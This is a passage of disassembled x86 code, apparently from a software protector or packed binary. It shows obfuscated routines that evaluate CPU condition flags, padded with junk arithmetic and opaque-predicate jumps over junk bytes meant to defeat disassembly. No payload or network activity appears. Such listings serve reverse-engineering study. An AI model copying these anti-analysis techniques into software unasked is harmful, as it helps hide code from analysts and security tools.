bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
sub dh, 1
dec dh
dec dh
dec dh
inc dh
dec dh
inc dh
inc dh
sub dh, 2
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3B4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F7CB
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F7CB: ; CODE XREF: sub_49F6DA+E6j
mov eax, [ebp+var_8]
push eax
call off_4F1D08
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F6DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F7DF proc near ; DATA XREF: sub_4965D8+30o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49F804
jl short loc_49F802
loc_49F7FF: ; CODE XREF: sub_49F7DF:loc_49F802j
; sub_49F7DF:loc_49F804j
jmp short loc_49F806
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49F802: ; CODE XREF: sub_49F7DF+1Ej
jz short loc_49F7FF
loc_49F804: ; CODE XREF: sub_49F7DF+1Cj
jmp short loc_49F7FF
; ---------------------------------------------------------------------------
loc_49F806: ; CODE XREF: sub_49F7DF:loc_49F7FFj
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_49F85A
jl short loc_49F858
loc_49F855: ; CODE XREF: sub_49F7DF:loc_49F858j
; sub_49F7DF:loc_49F85Aj
jmp short loc_49F85C
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49F858: ; CODE XREF: sub_49F7DF+74j
jz short loc_49F855
loc_49F85A: ; CODE XREF: sub_49F7DF+72j
jmp short loc_49F855
; ---------------------------------------------------------------------------
loc_49F85C: ; CODE XREF: sub_49F7DF:loc_49F855j
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F8B6
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F8B6: ; CODE XREF: sub_49F7DF+CCj
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F7DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F8CA proc near ; DATA XREF: sub_4965D8+1394o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 38h
sub ch, 0Bh
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
mov ebx, [ebp+arg_4]
test ebx, ebx
jz short loc_49F946
dec edi
and eax, 0
jmp short loc_49F94D
; ---------------------------------------------------------------------------
loc_49F946: ; CODE XREF: sub_49F8CA+74j
dec edi
and eax, 0
dec edi
dec edi
inc eax
loc_49F94D: ; CODE XREF: sub_49F8CA+7Aj
mov [ebp+var_8], eax
mov eax, dword_4ED3F8
xor eax, dword_4ED3FC
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_49F96F
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_49F96F: ; CODE XREF: sub_49F8CA+9Aj
mov edx, [ebp+var_4]
push edx
call off_4F1D50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F8CA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F983 proc near ; DATA XREF: sub_4965D8+828o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 8
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 4
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49FA18
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49FA18: ; CODE XREF: sub_49F983+8Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FA2C proc near ; DATA XREF: sub_4965D8+B58o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D9C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1F00h
pop ebx
jo short loc_49FA62
jl short loc_49FA60
loc_49FA5B: ; CODE XREF: sub_49FA2C:loc_49FA60j
; sub_49FA2C:loc_49FA62j
jmp short loc_49FA64
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49FA60: ; CODE XREF: sub_49FA2C+2Dj
jz short loc_49FA5B
loc_49FA62: ; CODE XREF: sub_49FA2C+2Bj
jmp short loc_49FA5B
; ---------------------------------------------------------------------------
loc_49FA64: ; CODE XREF: sub_49FA2C:loc_49FA5Bj
sub bh, 6
push eax
dec bh
dec bh
and eax, 800h
dec bh
sub bh, 0FFh
dec bh
sub bh, 15h
pop eax
dec bh
and ah, bh
mov edx, 15h
dec dl
dec dl
sub dl, 0Ah
dec dl
dec dl
dec dl
dec dl
dec dl
jo short loc_49FAA1
jl short loc_49FA9F
loc_49FA9A: ; CODE XREF: sub_49FA2C:loc_49FA9Fj
; sub_49FA2C:loc_49FAA1j
jmp short loc_49FAA3
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49FA9F: ; CODE XREF: sub_49FA2C+6Cj
jz short loc_49FA9A
loc_49FAA1: ; CODE XREF: sub_49FA2C+6Aj
jmp short loc_49FA9A
; ---------------------------------------------------------------------------
loc_49FAA3: ; CODE XREF: sub_49FA2C:loc_49FA9Aj
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49FAB8
jl short loc_49FAB6
loc_49FAB1: ; CODE XREF: sub_49FA2C:loc_49FAB6j
; sub_49FA2C:loc_49FAB8j
jmp short loc_49FABA
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49FAB6: ; CODE XREF: sub_49FA2C+83j
jz short loc_49FAB1
loc_49FAB8: ; CODE XREF: sub_49FA2C+81j
jmp short loc_49FAB1
; ---------------------------------------------------------------------------
loc_49FABA: ; CODE XREF: sub_49FA2C:loc_49FAB1j
inc eax
dec eax
jo short loc_49FAC7
jl short loc_49FAC5
loc_49FAC0: ; CODE XREF: sub_49FA2C:loc_49FAC5j
; sub_49FA2C:loc_49FAC7j
jmp short loc_49FAC9
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49FAC5: ; CODE XREF: sub_49FA2C+92j
jz short loc_49FAC0
loc_49FAC7: ; CODE XREF: sub_49FA2C+90j
jmp short loc_49FAC0
; ---------------------------------------------------------------------------
loc_49FAC9: ; CODE XREF: sub_49FA2C:loc_49FAC0j
inc eax
dec eax
inc eax
dec eax
jo short loc_49FAD6
jl short loc_49FAD4
loc_49FAD1: ; CODE XREF: sub_49FA2C:loc_49FAD4j
; sub_49FA2C:loc_49FAD6j
jmp short loc_49FAD8
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49FAD4: ; CODE XREF: sub_49FA2C+A3j
jz short loc_49FAD1
loc_49FAD6: ; CODE XREF: sub_49FA2C+A1j
jmp short loc_49FAD1
; ---------------------------------------------------------------------------
loc_49FAD8: ; CODE XREF: sub_49FA2C:loc_49FAD1j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3CC
xor ecx, dword_4ED3D0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49FAFC
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49FAFC: ; CODE XREF: sub_49FA2C+C5j
mov eax, [ebp+var_8]
push eax
call off_4F1D24
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FA2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FB10 proc near ; DATA XREF: sub_4965D8+113o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 14h
and eax, 80h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 21h
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3E4
xor ecx, dword_4ED3E8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49FBBF
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49FBBF: ; CODE XREF: sub_49FB10+A4j
mov eax, [ebp+var_8]
push eax
call off_4F1D3C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FB10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FBD3 proc near ; DATA XREF: sub_4965D8+10ECo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, 4
and eax, ebx
push ecx
mov ch, 10h
sub ch, 1
dec ch
sub ch, 3
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
dec edi
xor edx, edx
or ebx, edx
jz short loc_49FC10
dec edi
sub ch, 2
dec ch
dec ch
sub ch, 8
and eax, 0
jmp short loc_49FC27
; ---------------------------------------------------------------------------
loc_49FC10: ; CODE XREF: sub_49FBD3+2Bj
dec edi
dec ecx
sub ch, 2
dec ch
dec ch
sub ch, 8
and eax, 0
dec ecx
sub ch, 2
dec ch
dec edx
inc eax
loc_49FC27: ; CODE XREF: sub_49FBD3+3Bj
mov [ebp+var_8], eax
mov eax, dword_4ED3DC
xor eax, dword_4ED3E0
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_49FC49
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_49FC49: ; CODE XREF: sub_49FBD3+6Bj
mov edx, [ebp+var_4]
push edx
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FBD3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FC5D proc near ; DATA XREF: sub_4965D8+12C8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49FD18
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49FD18: ; CODE XREF: sub_49FC5D+B0j
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FC5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FD2C proc near ; DATA XREF: sub_4965D8+1350o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push eax
mov eax, 4
bswap eax
not eax
pop eax
push edx
mov dh, 80h
mov dh, 0
inc dh
mov ecx, ecx
inc dh
inc dh
inc esi
inc dh
dec edi
inc dh
dec dh
inc dh
push ebx
inc dh
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 800h
xchg eax, ecx
mov ecx, 40h
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
inc dh
inc dh
and ebx, 800h
add dh, 4
and ebx, 10h
inc dh
inc dh
pop ebx
sub dh, 0Dh
dec dh
and ah, dh
mov dl, 5
sub dl, 0FFh
dec dl
dec dl
inc dl
dec dl
sub dl, 0FFh
dec dl
dec dl
inc dl
dec dl
dec dl
dec dl
and al, dl
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49FDEA
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49FDEA: ; CODE XREF: sub_49FD2C+B3j
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FD2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FDFE proc near ; DATA XREF: sub_4965D8+6EBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49FEB2
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49FEB2: ; CODE XREF: sub_49FDFE+A9j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FDFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FEC6 proc near ; DATA XREF: sub_4965D8+3o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4Bh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0E00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_49FF5E
jl short loc_49FF5C
loc_49FF59: ; CODE XREF: sub_49FEC6:loc_49FF5Cj
; sub_49FEC6:loc_49FF5Ej
jmp short loc_49FF60
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49FF5C: ; CODE XREF: sub_49FEC6+91j
jz short loc_49FF59
loc_49FF5E: ; CODE XREF: sub_49FEC6+8Fj
jmp short loc_49FF59
; ---------------------------------------------------------------------------
loc_49FF60: ; CODE XREF: sub_49FEC6:loc_49FF59j
cmp eax, edx
jo short loc_49FF6B
jl short loc_49FF69
loc_49FF66: ; CODE XREF: sub_49FEC6:loc_49FF69j
; sub_49FEC6:loc_49FF6Bj
jmp short loc_49FF6D
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49FF69: ; CODE XREF: sub_49FEC6+9Ej
jz short loc_49FF66
loc_49FF6B: ; CODE XREF: sub_49FEC6+9Cj
jmp short loc_49FF66
; ---------------------------------------------------------------------------
loc_49FF6D: ; CODE XREF: sub_49FEC6:loc_49FF66j
jz short loc_49FF80
and eax, 0
jo short loc_49FF7B
jl short loc_49FF79
loc_49FF76: ; CODE XREF: sub_49FEC6:loc_49FF79j
; sub_49FEC6:loc_49FF7Bj
jmp short loc_49FF7D
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49FF79: ; CODE XREF: sub_49FEC6+AEj
jz short loc_49FF76
loc_49FF7B: ; CODE XREF: sub_49FEC6+ACj
jmp short loc_49FF76
; ---------------------------------------------------------------------------
loc_49FF7D: ; CODE XREF: sub_49FEC6:loc_49FF76j
inc eax
jmp short loc_49FF83
; ---------------------------------------------------------------------------
loc_49FF80: ; CODE XREF: sub_49FEC6:loc_49FF6Dj
and eax, 0
loc_49FF83: ; CODE XREF: sub_49FEC6+B8j
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49FFA6
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49FFA6: ; CODE XREF: sub_49FEC6+D5j
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FEC6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49FFBA proc near ; DATA XREF: sub_4965D8+7B7o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D98
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C8
xor ecx, dword_4ED3CC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0077
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0077: ; CODE XREF: sub_49FFBA+B2j
mov eax, [ebp+var_8]
push eax
call off_4F1D20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49FFBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A008B proc near ; DATA XREF: sub_4965D8+1147o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ah
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec edx
inc ecx
inc ecx
dec edx
inc ecx
inc ecx
inc ecx
dec edx
inc ecx
inc ecx
inc ecx
inc cl
dec edx
inc ecx
inc ecx
dec edx
inc ecx
inc ecx
inc cl
dec edx
inc ecx
inc ecx
inc ecx
dec ecx
dec edx
dec edx
inc ecx
inc cl
inc cl
dec dl
inc cl
add ecx, 0Bh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A012A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A012A: ; CODE XREF: sub_4A008B+94j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A008B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A013E proc near ; DATA XREF: sub_4965D8+F27o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_4A0163
jl short loc_4A0161
loc_4A015E: ; CODE XREF: sub_4A013E:loc_4A0161j
; sub_4A013E:loc_4A0163j
jmp short loc_4A0165
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A0161: ; CODE XREF: sub_4A013E+1Ej
jz short loc_4A015E
loc_4A0163: ; CODE XREF: sub_4A013E+1Cj
jmp short loc_4A015E
; ---------------------------------------------------------------------------
loc_4A0165: ; CODE XREF: sub_4A013E:loc_4A015Ej
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_4A01B9
jl short loc_4A01B7
loc_4A01B4: ; CODE XREF: sub_4A013E:loc_4A01B7j
; sub_4A013E:loc_4A01B9j
jmp short loc_4A01BB
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A01B7: ; CODE XREF: sub_4A013E+74j
jz short loc_4A01B4
loc_4A01B9: ; CODE XREF: sub_4A013E+72j
jmp short loc_4A01B4
; ---------------------------------------------------------------------------
loc_4A01BB: ; CODE XREF: sub_4A013E:loc_4A01B4j
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_4A02F7
mov eax, [ebp+var_4]
jo short loc_4A0200
jl short loc_4A01FE
loc_4A01FB: ; CODE XREF: sub_4A013E:loc_4A01FEj
; sub_4A013E:loc_4A0200j
jmp short loc_4A0202
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A01FE: ; CODE XREF: sub_4A013E+BBj
jz short loc_4A01FB
loc_4A0200: ; CODE XREF: sub_4A013E+B9j
jmp short loc_4A01FB
; ---------------------------------------------------------------------------
loc_4A0202: ; CODE XREF: sub_4A013E:loc_4A01FBj
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_4A0231
jl short loc_4A022F
loc_4A022C: ; CODE XREF: sub_4A013E:loc_4A022Fj
; sub_4A013E:loc_4A0231j
jmp short loc_4A0233
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A022F: ; CODE XREF: sub_4A013E+ECj
jz short loc_4A022C
loc_4A0231: ; CODE XREF: sub_4A013E+EAj
jmp short loc_4A022C
; ---------------------------------------------------------------------------
loc_4A0233: ; CODE XREF: sub_4A013E:loc_4A022Cj
mov bl, 0C6h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
